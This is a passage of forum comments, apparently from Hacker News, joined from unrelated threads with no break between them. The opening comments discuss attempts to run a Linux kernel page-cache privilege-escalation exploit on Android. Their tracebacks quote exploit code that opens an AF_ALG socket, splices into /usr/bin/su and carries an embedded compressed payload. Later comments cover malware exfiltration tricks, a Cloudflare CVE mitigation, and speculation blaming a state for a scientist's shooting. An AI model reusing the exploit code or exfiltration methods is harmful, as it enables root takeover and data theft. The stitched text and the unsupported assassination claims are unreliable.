I rewrote it quickly to C [1] (and changed the embedded binary to be aarch64).
Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.
Putting it out here, maybe somebody else will have better luck.
Update: Checking the kernel config indeed confirms this.
adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_USER_API_AEAD is not set
File "/data/data/com.termux/files/home/a.py", line 5, in c
a=s.socket(38,5,0); # ...
File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
PermissionError: [Errno 13] Permission denied
I got line 5 to run and failed on line 8 due to lack of su. I'd need to find a user accessible setuid binary for it to work.
Traceback (most recent call last):
File "/data/data/com.termux/files/home/exploit.py", line 8, in <module>
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
Now the socket is blocked. Also probably should have realized the socket is defined earlier than its called
Traceback (most recent call last):
File "/data/data/com.termux/files/home/exploit.py", line 9, in <module>
while i<len(e):c(f,i,e[i:i+4]);i+=4
^^^^^^^^^^^^^^^
File "/data/data/com.termux/files/home/exploit.py", line 5, in c
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
^^^^^^^^^^^^^^^^
File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 13] Permission denied
(HN algorithms have killed some of your comments, perhaps because you posted the same URL too many times from a relatively new account? I’ve vouched for you, but keep in mind that it triggers antispam.)
You don't need a suit binary for this, they have arbitrary write of memory. The suid binary is just a convenient and portable way to demonstrate it. Real exploits will use many different mechanisms.
System partitions being non-writable has nothing to do with the vulnerability - it allows modifying the cache of any file that you can open for reading.
Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".
But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).
Its not writing to the partition though is it? It is polluting the cache page via a write with a buffer overrun in the kernel. I don't think buffer overruns follow permissions.
Ya’ll read too many conspiracy theories. What makes you think other countries were interested in recruiting him, specifically? I want to see the logic behind this assumption.
>Ya’ll read too many conspiracy theories. What makes you think other countries were interested in recruiting him, specifically? I want to see the logic behind this assumption.
You don't understand why a country without nuclear weapons would try to get a scientist to help them make them?
Oh I understand. I’m asking why him, specifically?
Countries that have nuclear ambitions but lack the capability have more than enough scientists of their own that could do it given the permission. It’s pretty available science which is why we put sanctions on it and prevent people from enriching uranium like that.
There are already other articles claiming he was shot because he's Jewish and has supported Israel. Seems like the cops haven't arrested anybody yet, so we don't really know anything.
He was working on fusion technology, so you could just as well speculate it was fossil fuel interests involved, but that also seems purely speculative.
First thing that came to mind is that he might have been secretly working for Israel's nuclear program but this is all very speculative. It does feel plausible though given that Israel has already assassinated plenty of Iranian nuclear scientists; so there is some precedent for it.
There are lots of different scenarios you can conjure up. Another could be that Israel assassinated him after he refused to support their nuclear program OR to silence him.
> As part of our ongoing work to protect customers using React against a critical vulnerability, CVE-2025-55182, we started rolling out an increase to our buffer size to 1MB, the default limit allowed by Next.js applications.
Why would increasing the buffer size help with that security vulnerability? Is it just a performance optimization?
I think the buffer size is the limit on what they check for malicious data, so the old 128k would mean it would be trivial to circumvent by just having 128k ok data and then put the exploit after.
If the request data is larger than the limit it doesn’t get processed by the Cloudflare system. By increasing buffer size they process (and therefore protect) more requests.
Thats a fair point, there are some protections in place for abuse already. I will have a look at what ngrok does for browser warnings. Thanks a lot for the suggestions.
Be aware of threat actors, too: you're giving them an easy data exfil route without the hassle and risk of them having to set up their own infrastructure.
Back in the day you could have stood up something like this and worried about abuse later. Unfortunately, now, a decent proportion early users of services like this do tend to be those looking to misuse it.
I'm not who you asked, but essentially, when you write malware that infects someone's PC, that in itself doesn't really help you much. You usually want to get out passwords and other data that you might have stolen.
This is where an exfil (exfiltration) route is needed. You could just send the data to a server you own, but you have to make sure that there are fallbacks once that one gets taken down. You also need to ensure that your exfiltration won't be noticed by a firewall and blocked.
Hosting a server locally, easily, on the infected PC, that can expose data under a specific address is (to my understanding) the holy grail of exfiltration; you just connect to it and it gives you the data, instead of having to worry much about hosting your own infrastructure.
That's actually a fair defence against this kind of abuse. If the attacker has to get some information (the tunnel ID) out of the victim's machine before they can abuse this service, then it is less useful to them because getting the tunnel ID out is about as hard as just getting the actual data out.
However, if "No signup required for random subdomains" implies that stable subdomains can be obtained with a signup, then the bad guys are just going to sign up.
I've seen lots of weird tricks malware authors use, people are creative. My favorite is that they'd load up a text file with a modified base64 table from Dropbox which points to the URL to exfiltrate to. When you report it to Dropbox, they typically ignore the report because it just seems like random nonsense instead of being actually malicious.
> Hosting a server locally, easily, on the infected PC, that can expose data under a specific address is (to my understanding) the holy grail of exfiltration; you just connect to it and it gives you the data, instead of having to worry much about hosting your own infrastructure.
A permanent SSH connection is not exactly discreet, though...
